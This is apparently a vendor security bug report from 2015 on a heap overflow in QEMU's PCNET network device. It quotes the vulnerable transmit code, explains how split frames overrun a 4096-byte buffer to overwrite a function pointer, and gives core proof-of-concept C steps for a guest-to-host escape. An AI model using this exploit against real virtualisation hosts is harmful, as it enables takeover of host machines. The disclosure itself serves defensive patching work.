A heap overflow exists in the PCNET device controller for QEMU. A guest running
in a VM with a PCNET device attached can trigger this vulnerability by sending
crafted commands to the host's PCNET device controller, allowing the guest to
take full control of the instruction pointer of the host.
-- Detail --
The vulnerability lies in the pcnet_transmit function in hw/net/pcnet.c. The
function and relevant structures are given below:
struct pcnet_TMD {
uint32_t tbadr;
int16_t length;
int16_t status;
uint32_t misc;
uint32_t res;
};
struct PCNetState_st {
NICState *nic;
NICConf conf;
QEMUTimer *poll_timer;
int rap, isr, lnkst;
uint32_t rdra, tdra;
uint8_t prom[16];
uint16_t csr[128];
uint16_t bcr[32];
int xmit_pos;
uint64_t timer;
MemoryRegion mmio;
uint8_t buffer[4096];
qemu_irq irq;
void (*phys_mem_read)(void *dma_opaque, target_phys_addr_t addr,
uint8_t *buf, int len, int do_bswap);
void (*phys_mem_write)(void *dma_opaque, target_phys_addr_t addr,
uint8_t *buf, int len, int do_bswap);
void *dma_opaque;
int tx_busy;
int looptest;
};
static void pcnet_transmit(PCNetState *s)
{
target_phys_addr_t xmit_cxda = 0;
int count = CSR_XMTRL(s)-1;
int add_crc = 0;
s->xmit_pos = -1;
if (!CSR_TXON(s)) {
s->csr[0] &= ~0x0008;
return;
}
s->tx_busy = 1;
txagain:
if (pcnet_tdte_poll(s)) {
struct pcnet_TMD tmd;
TMDLOAD(&tmd, PHYSADDR(s,CSR_CXDA(s)));
#ifdef PCNET_DEBUG_TMD
printf(" TMDLOAD 0x%08x\n", PHYSADDR(s,CSR_CXDA(s)));
PRINT_TMD(&tmd);
#endif
if (GET_FIELD(tmd.status, TMDS, STP)) {
s->xmit_pos = 0;
xmit_cxda = PHYSADDR(s,CSR_CXDA(s));
if (BCR_SWSTYLE(s) != 1)
add_crc = GET_FIELD(tmd.status, TMDS, ADDFCS);
}
if (!GET_FIELD(tmd.status, TMDS, ENP)) {
int bcnt = 4096 - GET_FIELD(tmd.length, TMDL, BCNT);
s->phys_mem_read(s->dma_opaque, PHYSADDR(s, tmd.tbadr),
s->buffer + s->xmit_pos, bcnt, CSR_BSWP(s));
s->xmit_pos += bcnt;
} else if (s->xmit_pos >= 0) {
int bcnt = 4096 - GET_FIELD(tmd.length, TMDL, BCNT);
s->phys_mem_read(s->dma_opaque, PHYSADDR(s, tmd.tbadr),
s->buffer + s->xmit_pos, bcnt, CSR_BSWP(s));
s->xmit_pos += bcnt;
#ifdef PCNET_DEBUG
printf("pcnet_transmit size=%d\n", s->xmit_pos);
#endif
if (CSR_LOOP(s)) {
if (BCR_SWSTYLE(s) == 1)
add_crc = !GET_FIELD(tmd.status, TMDS, NOFCS);
s->looptest = add_crc ? PCNET_LOOPTEST_CRC : PCNET_LOOPTEST_NOCRC;
pcnet_receive(&s->nic->nc, s->buffer, s->xmit_pos);
s->looptest = 0;
} else
if (s->nic)
qemu_send_packet(&s->nic->nc, s->buffer, s->xmit_pos);
s->csr[0] &= ~0x0008; /* clear TDMD */
s->csr[4] |= 0x0004; /* set TXSTRT */
s->xmit_pos = -1;
}
SET_FIELD(&tmd.status, TMDS, OWN, 0);
TMDSTORE(&tmd, PHYSADDR(s,CSR_CXDA(s)));
if (!CSR_TOKINTD(s) || (CSR_LTINTEN(s) && GET_FIELD(tmd.status, TMDS, LTINT)))
s->csr[0] |= 0x0200; /* set TINT */
if (CSR_XMTRC(s)<=1)
CSR_XMTRC(s) = CSR_XMTRL(s);
else
CSR_XMTRC(s)--;
if (count--)
goto txagain;
} else
if (s->xmit_pos >= 0) {
struct pcnet_TMD tmd;
TMDLOAD(&tmd, xmit_cxda);
SET_FIELD(&tmd.misc, TMDM, BUFF, 1);
SET_FIELD(&tmd.misc, TMDM, UFLO, 1);
SET_FIELD(&tmd.status, TMDS, ERR, 1);
SET_FIELD(&tmd.status, TMDS, OWN, 0);
TMDSTORE(&tmd, xmit_cxda);
s->csr[0] |= 0x0200; /* set TINT */
if (!CSR_DXSUFLO(s)) {
s->csr[0] &= ~0x0010;
} else
if (count--)
goto txagain;
}
s->tx_busy = 0;
}
In brief, this code loads a transmit-frame descriptor from the guest into the
/tmd/ local variable to recover a length field, a status field and a
guest-physical location of the associated frame buffer. If the status field
indicates that the frame buffer is ready to be sent out (i.e. by setting the
TXSTATUS_DEVICEOWNS, TXSTATUS_STARTPACKET and TXSTATUS_ENDPACKET bits on the
status field), the PCNET device controller pulls in the frame from the
guest-physical location to s->buffer (which is 4096 bytes long), and then
transmits the frame.
Because of the layout of the transmit-frame descriptor, it is not possible to
send the PCNET device controller a frame of length > 4096, but it /is/ possible
to send the PCNET device controller a frame that is marked as
TXSTATUS_STARTPACKET, but not TXSTATUS_ENDPACKET. If we do this - and the PCNET
controller is configured via the XMTRL CSR to support split-frame processing -
then the pcnet_transmit functions loops round, pulling a second transmit frame
descriptor from the guest. If this second transmit frame descriptor sets the
TXSTATUS_DEVICEOWNS and doesn't set the TXSTATUS_STARTPACKET bits, this frame
is appended to the s->buffer field.
An attacker can then exploit this vulnerability by sending a first packet of
length 4096 to the device controller, and a second frame containing N-bytes to
trigger an N-byte heap overflow.
On 64-bit QEMU, a 24-byte overflow allows the guest to take control of the
phys_mem_write function pointer in the PCNetState_st structure, and this is
called when trying to flush the updated transmit frame descriptor back to the
guest. By specifying the content of the second transmit frame, the attacker
therefore gets reliable fully-chosen control of the host instruction pointer,
allowing them to take control of the host.
-- PoC --
The core steps of the PoC are as below; the full PoC in C and a bootable image
in RAW format are given as attachments to this bug report.
// 1: PCNET 16-bit RESET
TRACE(pcnet_ioport_readw(0x14)); // 16-bit RESET
// 2: setup the PCNET device:
TRACE(WriteBCR(20, 1)); // BCR_SSIZE32
// 3: Tell the PCNET device where the initblk is:
TRACE(WriteCSR(1, CSRIADR_ADDR & 0xffff));
TRACE(WriteCSR(2, CSRIADR_ADDR >> 16));
// 4: setup the PCNET 32-bit INIT blk:
initblk = (struct pcnet_initblk32*)CSRIADR_ADDR;
ZeroMemory(initblk, sizeof(*initblk));
initblk->rdra = 0; // don't setup an RX buffer
initblk->tdra = 0x2000; // vaddrs = paddrs because there's no paging in this PoC
// 5: tell PCNET to INIT but not STRT (this DMAs in the initblk)
TRACE(WriteCSR(0, 0x0001));
// 6: Set the CSR_XMTRL value to 0x100 (we need to assert STOP on CR0 first)
TRACE(WriteCSR(0, 0x0004));
TRACE(WriteCSR(78, 0x100));
// 7: tell PCNET to start
TRACE(WriteCSR(0, 0x0002)); // assert STRT
////////////
// Exploit-Time!
// 8: Our Frame buffer
FillMemory8((void*)FRAME_ADDR, 0x41, 4096);
// 9: Our Buffer-fill frame:
ZeroMemory(tx_fill, sizeof(*tx_fill));
tx_fill->length = 0xf000;
tx_fill->status = 0x8000 | 0x0200;
tx_fill->tbadr = FRAME_ADDR;
// 10: Our Buffer-overflow frame:
ZeroMemory(tx_oflo, sizeof(*tx_oflo));
tx_oflo->length = (uint16_t)(0xf000 | (-16));
tx_oflo->status = 0x8000;
tx_oflo->tbadr = FRAME_ADDR;
// 11: tell PCNET to transmit our frame, which triggers the overflow
TRACE(WriteCSR(0, 0x0008));
This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.
Original issue reported on code.google.com by mattt...@google.com on 20 May 2015 at 9:20
Original issue reported on code.google.com by
mattt...@google.com
on 20 May 2015 at 9:20Attachments: